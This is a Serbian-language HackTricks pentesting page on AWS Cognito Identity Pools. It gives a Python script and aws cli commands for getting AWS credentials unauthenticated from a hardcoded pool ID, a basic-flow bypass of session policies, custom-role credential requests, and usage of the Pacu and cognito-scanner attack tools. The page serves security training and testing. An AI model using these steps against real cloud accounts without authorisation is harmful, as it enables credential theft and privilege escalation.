Cognito Identity Pools

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da dobiju privremene akreditive. Ovi akreditive su neophodni za pristup raznim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Značajna karakteristika identity pools je njihova podrška za anonimne gostujuće korisnike i niz provajdera identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju:

  • Amazon Cognito user pools
  • Opcije prijave putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple
  • Provajderi usklađeni sa OpenID Connect (OIDC)
  • SAML (Security Assertion Markup Language) provajderi identiteta
  • Identiteti koje autentifikuje programer
python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Da biste generisali sesije Identity Pool-a, prvo morate generisati Identity ID. Ovaj Identity ID je identifikacija sesije tog korisnika. Ove identifikacije mogu imati do 20 skupova podataka koji mogu čuvati do 1MB parova ključ-vrednost.

Ovo je korisno za čuvanje informacija o korisniku (koji će uvek koristiti isti Identity ID).

Štaviše, usluga cognito-sync je usluga koja omogućava upravljanje i sinhronizaciju ovih informacija (u skupovima podataka, slanje informacija u tokovima i SNS porukama...).

Tools for pentesting

  • Pacu, AWS okvir za eksploataciju, sada uključuje module "cognito__enum" i "cognito__attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identitetskog bazena, preuzimljivih uloga u id tokenima itd.

Za opis funkcija modula pogledajte deo 2 blog posta. Za uputstva za instalaciju pogledajte glavnu Pacu stranicu.

Usage

Primer korišćenja cognito__attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identitetskog bazena i klijenta korisničkog bazena:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Primer korišćenja cognito__enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identitetskog bazena.

Instalacija

bash
$ pip install cognito-scanner

Korišćenje

bash
$ cognito-scanner --help

Za više informacija proverite https://github.com/padok-team/cognito-scanner

Pristup IAM rolama

Neautentifikovani

Jedina stvar koju napadač treba da zna da bi dobio AWS kredencijale u Cognito aplikaciji kao neautentifikovani korisnik je ID identitetskog bazena, i ovaj ID mora biti hardkodiran u web/mobilnoj aplikaciji da bi se koristio. ID izgleda ovako: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (nije moguće izvršiti brute force).

tip

IAM Cognito neautentifikovana uloga kreirana putem se po defaultu zove Cognito_<Ime identitetskog bazena>Unauth_Role

Ako pronađete ID identitetskog bazena hardkodiran i omogućava neautentifikovanim korisnicima, možete dobiti AWS kredencijale sa:

python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ili možete koristiti sledeće aws cli komande:

bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

warning

Imajte na umu da po default-u neautentifikovani cognito korisnik NE MOŽE imati nikakva prava, čak i ako su dodeljena putem politike. Proverite sledeću sekciju.

Poboljšan vs Osnovni tok autentifikacije

Prethodna sekcija je pratila podrazumevani poboljšani tok autentifikacije. Ovaj tok postavlja restriktivnu politiku sesije za IAM ulogu koja je generisana. Ova politika će omogućiti sesiji da koristi usluge sa ove liste (čak i ako je uloga imala pristup drugim uslugama).

Međutim, postoji način da se to zaobiđe, ako je Identitetski bazen omogućio "Osnovni (Klasični) Tok", korisnik će moći da dobije sesiju koristeći taj tok koji neće imati tu restriktivnu politiku sesije.

bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

warning

Ako primite ovu grešku, to je zato što osnovni tok nije omogućen (podrazumevano)

Došlo je do greške (InvalidParameterException) prilikom pozivanja operacije GetOpenIdToken: Osnovni (klasični) tok nije omogućen, molimo koristite unapređeni tok.

Imajući set IAM kredencijala, trebali biste proveriti koje pristupe imate i pokušati da povećate privilegije.

Autentifikovani

note

Zapamtite da će autentifikovani korisnici verovatno imati različite dozvole, pa ako možete da se prijavite unutar aplikacije, pokušajte to i dobijte nove kredencijale.

Takođe bi mogle biti dostupne uloge za autentifikovane korisnike koji pristupaju Identity Pool-u.

Za ovo možda ćete morati da imate pristup provajderu identiteta. Ako je to Cognito User Pool, možda možete iskoristiti podrazumevano ponašanje i sami kreirati novog korisnika.

tip

IAM Cognito autentifikovana uloga kreirana putem se podrazumevano naziva Cognito_<Ime Identity Pool-a>Auth_Role

U svakom slučaju, sledeći primer očekuje da ste se već prijavili unutar Cognito User Pool-a koji se koristi za pristup Identity Pool-u (ne zaboravite da bi drugi tipovi provajdera identiteta takođe mogli biti konfigurisani).

aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

# Dobijte identity_id iz prethodnog odgovora komande
aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=


# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog User Pool Grupa
# Koristite --custom-role-arn da dobijete kredencijale za specifičnu ulogu
aws cognito-identity get-credentials-for-identity \
--identity-id  \
    --custom-role-arn  \
    --logins cognito-idp..amazonaws.com/=

warning

Moguće je konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti od korisnika (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi bilo korisno prijaviti se i pristupiti IAM ulogama svih njih.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks